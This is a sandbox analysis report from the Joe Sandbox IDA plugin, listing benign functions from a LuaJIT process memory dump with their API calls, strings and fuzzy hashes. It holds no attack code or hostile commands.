Opcode Fuzzy Hash: 050ec86600a775e1ba4a6fe656570c8a09b9775de57354fe22a5cd9ab7a00de7
Instruction Fuzzy Hash: C2315C32A0DE8582EB609B15F4447EAF361FB88790F880536DA8E03A58EF3DE558C714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A10360 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 227COMMON

Download Yara Rule

Strings

%lf, xrefs: 00007FF718A10439
too many arguments, xrefs: 00007FF718A103BD

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: %lf$too many arguments
API String ID: 3215553584-3990051606
Opcode ID: 6914881ddc5360937c0fc87212d53d73bd0b64e47b61ffbcc14248390cfb5a9d
Instruction ID: de8173766f23c2f276421061343f6a27cf27b0de09fc5521f21139ae86148fbe
Opcode Fuzzy Hash: 6914881ddc5360937c0fc87212d53d73bd0b64e47b61ffbcc14248390cfb5a9d
Instruction Fuzzy Hash: 4E812822B19E5647EB20FA26A48067AF391FB84BB0FA04331DE5D47BD5DE3CE4498714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A17780 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF718A3B5F8

Strings

cannot resolve symbol '%s': %s, xrefs: 00007FF718A3B7A3

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ErrorLast
String ID: cannot resolve symbol '%s': %s
API String ID: 1452528299-2703306267
Opcode ID: c3e22c22b015da3a6e452f782e29ae9ed3f8a13ffbc6eb1c8c6bb9643a665721
Instruction ID: 0e16e3d2cff47e481eaaf52f9e5db82fd502f452d4758ab2bd6e44e1cc9ae119
Opcode Fuzzy Hash: c3e22c22b015da3a6e452f782e29ae9ed3f8a13ffbc6eb1c8c6bb9643a665721
Instruction Fuzzy Hash: B77103A6A0AF8187DB10AB25C8406B8E761FB44BE0F948732DE1D47795EE3CD59AC314

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A6FFB0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF718A70013
_set_statfp.LIBCMT ref: 00007FF718A70037

Strings

", xrefs: 00007FF718A70094
cosh, xrefs: 00007FF718A70076

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _set_statfp
String ID: "$cosh
API String ID: 1156100317-3800341493
Opcode ID: 3527226068fc837922194fe3f66ab0bd93b502f46f543947ad2714f2ced6d2c8
Instruction ID: ed6776d8d54770219d403ebbc84ce42ae5d8deca69205fd1b4a5b663e8202119
Opcode Fuzzy Hash: 3527226068fc837922194fe3f66ab0bd93b502f46f543947ad2714f2ced6d2c8
Instruction Fuzzy Hash: 8681E521E2DF818AD3639B34A4417B6F358AF6A3E5F909333D58E31A51DF2DA0878214

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A7D184 Relevance: 7.7, APIs: 5, Instructions: 202COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A7D1C6
GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF718A7D143,?,?,FFFFFFFE,00007FF718A7D536), ref: 00007FF718A7D284
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF718A7D143,?,?,FFFFFFFE,00007FF718A7D536), ref: 00007FF718A7D30E

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: db66fc161205daab70daedc293a48d686f5db1f4363fab8ee29e9db382aab8e0
Instruction ID: 4e8494eaa17b181fefef95e896d887b3b08ce6cabeb56d21c52f463108c566eb
Opcode Fuzzy Hash: db66fc161205daab70daedc293a48d686f5db1f4363fab8ee29e9db382aab8e0
Instruction Fuzzy Hash: 65817223E1AE1286F750BB658440ABCE6A0BB457A4FC40335DE0E53699DF3EE449D378

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A80078 Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF718A800B4
_set_statfp.LIBCMT ref: 00007FF718A800D2
_set_statfp.LIBCMT ref: 00007FF718A800FB
_set_statfp.LIBCMT ref: 00007FF718A802B4

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 8e49d4906af4448fee86808fa03185cee9d90748d49e94bab1f9cfc244d0afb8
Instruction ID: 1352a54d6a9127842e38a39086217747e789187df2ece9734ef9631d6ed67357
Opcode Fuzzy Hash: 8e49d4906af4448fee86808fa03185cee9d90748d49e94bab1f9cfc244d0afb8
Instruction Fuzzy Hash: E1512C12D4ED4687F762BE389811B76F260BF46371F848334EA5E265D0EF3CA4498678

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A7FC20 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF718A7FC48
_set_statfp.LIBCMT ref: 00007FF718A7FC63
_set_statfp.LIBCMT ref: 00007FF718A7FC7F
_set_statfp.LIBCMT ref: 00007FF718A7FCBB

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 12683ee949a498a76d615f5c80dca171e6a4e98699c78b4ade9d4b7d37fa3cf1
Instruction ID: 629ec77f2c0daa1e19feb07742ff46ef3c6d67fd618d74ad89dc12846383311c
Opcode Fuzzy Hash: 12683ee949a498a76d615f5c80dca171e6a4e98699c78b4ade9d4b7d37fa3cf1
Instruction Fuzzy Hash: A7119422E1DE034BF7543134E852BB6D1486F98370E940735EF6E066D68E1EAA48716C

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A7DB98 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 212COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A7DE41

Part of subcall function 00007FF718A8B4D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF718A8B4ED

Strings

UTF-16LEUNICODE, xrefs: 00007FF718A7DDE5
ccs, xrefs: 00007FF718A7DD8D
UTF-8, xrefs: 00007FF718A7DDC4

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 4f9e3838f21cefc3d5966103b1e640b5c5c53066c6e52fbd7bfed03ace8eac49
Instruction ID: 00dd3a4fd57f6bd55deee10d4b7b19b9a2fd8dc15933630b95b6775552e6aab9
Opcode Fuzzy Hash: 4f9e3838f21cefc3d5966103b1e640b5c5c53066c6e52fbd7bfed03ace8eac49
Instruction Fuzzy Hash: 8781F833D0FD0287F7656A388150E38EB909F11764FD95235CA0D4719EDE1FA809B7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A5611C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A5615F
_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A563AD

Strings

*, xrefs: 00007FF718A562D5
, xrefs: 00007FF718A5616B

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: 750f9bbf5b9275a15d53bdc89c7c19f80ffebf2ce48f309f2496a6267291e29c
Instruction ID: 60cbc5d394d3ba724f7a113ca954c9a6e161d92476c9c18a6a8f79dd0fdb260e
Opcode Fuzzy Hash: 750f9bbf5b9275a15d53bdc89c7c19f80ffebf2ce48f309f2496a6267291e29c
Instruction Fuzzy Hash: 31816F72D0AA4287EBA4AF25A04497CF7B0EB01B74F980335CA4946295DF39F5C9C729

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A55330 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A55367
_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A553A1

Strings

*, xrefs: 00007FF718A55506
, xrefs: 00007FF718A55570

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: b7f3ad1c86d270a42b928145908bb2c1d0f59c70e6619d8ec3eb18c94a12e33f
Instruction ID: 52b3f4f95b0889494b3816e5fdb458416b0c783df6ae8395443c069178c7dbcf
Opcode Fuzzy Hash: b7f3ad1c86d270a42b928145908bb2c1d0f59c70e6619d8ec3eb18c94a12e33f
Instruction Fuzzy Hash: 3681847280EE4687E764AE25805497CF7B2EB01B34F941335EA8D86295CF3DE4C9C729

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A6FAE0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 177COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF718A6FB38

Strings

", xrefs: 00007FF718A6FBA5
sinh, xrefs: 00007FF718A6FB86

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _set_statfp
String ID: "$sinh
API String ID: 1156100317-1232919748
Opcode ID: 17ece3eff11d6790b94e8039b0ad0c70cbfcb95e3acb92d2298369319c5b4b9e
Instruction ID: a2a269f8a1bf713f6d9e331685599be98b88a8e6d89f40b294395e598a15f1cd
Opcode Fuzzy Hash: 17ece3eff11d6790b94e8039b0ad0c70cbfcb95e3acb92d2298369319c5b4b9e
Instruction Fuzzy Hash: 5091F921D2DF818AD3639B34A4417B6F318AF6A3E5F909333E58E31A55DF2CA0878714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A6F624 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF718A6F6CF

Strings

!, xrefs: 00007FF718A6F704
acos, xrefs: 00007FF718A6F6E2

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _set_statfp
String ID: !$acos
API String ID: 1156100317-2870037509
Opcode ID: f44279ad54ed9413e535f5ad7b6d347ef0614247c92ddb48b13714c85f7291af
Instruction ID: a06751c97d23f494dc4da79ee7f754600371c7507655134a4ec4bcdc9e049ad2
Opcode Fuzzy Hash: f44279ad54ed9413e535f5ad7b6d347ef0614247c92ddb48b13714c85f7291af
Instruction Fuzzy Hash: 0461C521D1EF458AE723DB345810776D71CAFA63A0FE19332E95E35A64DF2CE0878614

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A6F398 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF718A6F43B

Strings

!, xrefs: 00007FF718A6F470
asin, xrefs: 00007FF718A6F44E

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _set_statfp
String ID: !$asin
API String ID: 1156100317-2188059690
Opcode ID: 3d9322a4b1b119b62eaaf1bc541914b4da9db28d46a8c0720257969e86701752
Instruction ID: d2ab52de0c568700660d71f1d3751eaba3abeed2543fbca6f70189500b414046
Opcode Fuzzy Hash: 3d9322a4b1b119b62eaaf1bc541914b4da9db28d46a8c0720257969e86701752
Instruction Fuzzy Hash: 3B510921D2EF858BE713DB345C10676D32CAFA63A0FE09332E95E31964DF1DA0878614

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A3B6A9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32 ref: 00007FF718A3B6BE
GetProcAddress.KERNEL32 ref: 00007FF718A3B6DA
GetProcAddress.KERNEL32 ref: 00007FF718A3B717
SetLastError.KERNEL32 ref: 00007FF718A3B724

Strings

user32.dll, xrefs: 00007FF718A3B6A9

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: AddressProc$ErrorLastLibraryLoad
String ID: user32.dll
API String ID: 856020675-38312619
Opcode ID: cc7c667dba8382daa1f86aa36ef55445b1f99d0499ece3503495cb63c9c6aca2
Instruction ID: c31d7ce39afa4a78fbc67d7f71266714c67e083404bbdfcd01748b6ef48fff3a
Opcode Fuzzy Hash: cc7c667dba8382daa1f86aa36ef55445b1f99d0499ece3503495cb63c9c6aca2
Instruction Fuzzy Hash: CB219F22A0AF8183EB519B18E890679E7A1FB84BE0F548535CE4D07755EF3CD5AAC318

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A3B6A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32 ref: 00007FF718A3B6BE
GetProcAddress.KERNEL32 ref: 00007FF718A3B6DA
GetProcAddress.KERNEL32 ref: 00007FF718A3B717
SetLastError.KERNEL32 ref: 00007FF718A3B724

Strings

kernel32.dll, xrefs: 00007FF718A3B6A0

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: AddressProc$ErrorLastLibraryLoad
String ID: kernel32.dll
API String ID: 856020675-1793498882
Opcode ID: f2b03f2818cd352a94fd0e0386e4632fbcdc8ec0ba8374cc1f67e7d65a47e29b
Instruction ID: 307a14b476100fbaf336e565cfa6e83e95fb47fa6ed012dad841185080d0da2d
Opcode Fuzzy Hash: f2b03f2818cd352a94fd0e0386e4632fbcdc8ec0ba8374cc1f67e7d65a47e29b
Instruction Fuzzy Hash: CB219F22A0AF8183EB519B18E880679E7A1FB84BE0F548535CE4D07755EF3CD5AAC318

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A3B6B2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32 ref: 00007FF718A3B6BE
GetProcAddress.KERNEL32 ref: 00007FF718A3B6DA
GetProcAddress.KERNEL32 ref: 00007FF718A3B717
SetLastError.KERNEL32 ref: 00007FF718A3B724

Strings

gdi32.dll, xrefs: 00007FF718A3B6B2

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: AddressProc$ErrorLastLibraryLoad
String ID: gdi32.dll
API String ID: 856020675-1341420408
Opcode ID: 41d57f7f3aa134a116304db35168e6afdbd3fcfba57367a8bd989c9b7ffb3f3a
Instruction ID: 1bedc87d5c0e03d9459e8ae7c60de8084076364d3f5ec1b984d032919ff0239b
Opcode Fuzzy Hash: 41d57f7f3aa134a116304db35168e6afdbd3fcfba57367a8bd989c9b7ffb3f3a
Instruction Fuzzy Hash: 5111A122A0AF8183EB119B18E880669E7A1FF84BE0F548535CE4D07755EF3CD49AC314

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A81D90 Relevance: 6.2, APIs: 4, Instructions: 159COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A81DD1
_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A81E51
_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A81EA5
_get_daylight.LIBCMT ref: 00007FF718A81EFD

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_get_daylight
String ID:
API String ID: 72036449-0
Opcode ID: d7edea3600ceb722a4312ef71fba7a806c38da98ddc4022e7886f718fefbdbbf
Instruction ID: 216dd7c1b2b030e2bf20526b954d4fa641dddb861aa3454122082e33cc99c711
Opcode Fuzzy Hash: d7edea3600ceb722a4312ef71fba7a806c38da98ddc4022e7886f718fefbdbbf
Instruction Fuzzy Hash: 1551D432E0AE0247F7747A189002F79E680AB42736FD94736D90D462D5EB7CFC489679

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A80C60 Relevance: 6.1, APIs: 4, Instructions: 53synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,00007FF718A10126), ref: 00007FF718A80C90
GetExitCodeProcess.KERNEL32 ref: 00007FF718A80CA2
GetLastError.KERNEL32(?,?,?,?,?,?,?,00007FF718A10126), ref: 00007FF718A80CBC
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00007FF718A10126), ref: 00007FF718A80CF0

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: CloseCodeErrorExitHandleLastObjectProcessSingleWait
String ID:
API String ID: 2321548817-0
Opcode ID: 0ac2ff3ce93231d73f59403a5169545862334051fe72a869e1b48455d95cec51
Instruction ID: 69954b61dbbf38299b27dce3529f8bc3c745c579349f979fccd3f0f82d19f88f
Opcode Fuzzy Hash: 0ac2ff3ce93231d73f59403a5169545862334051fe72a869e1b48455d95cec51
Instruction Fuzzy Hash: BC115161A4EE4283FB547F269441A3DF690BF46BB1F944334DA29466D8DF3CE4098738

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A11FD0 Relevance: 6.0, APIs: 4, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF718A11FF1
GetProcAddress.KERNEL32 ref: 00007FF718A12002
GetModuleHandleExA.KERNEL32 ref: 00007FF718A1201F
GetProcAddress.KERNEL32 ref: 00007FF718A12031

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID:
API String ID: 1646373207-0
Opcode ID: 2632887060231f01f8d6da7983ebf0db9170a1dd1ba29d9f7b50d1763c5ff522
Instruction ID: e549a45452caa460c1e5423c78ca3aafdecadd55bb2e538125676d90b53f672f
Opcode Fuzzy Hash: 2632887060231f01f8d6da7983ebf0db9170a1dd1ba29d9f7b50d1763c5ff522
Instruction Fuzzy Hash: 63F0D621F1FE8282EF449B06B880A79E360FF48BD0B841239D90E06358EF2CE0588318

Uniqueness

Uniqueness Score: -1.00%

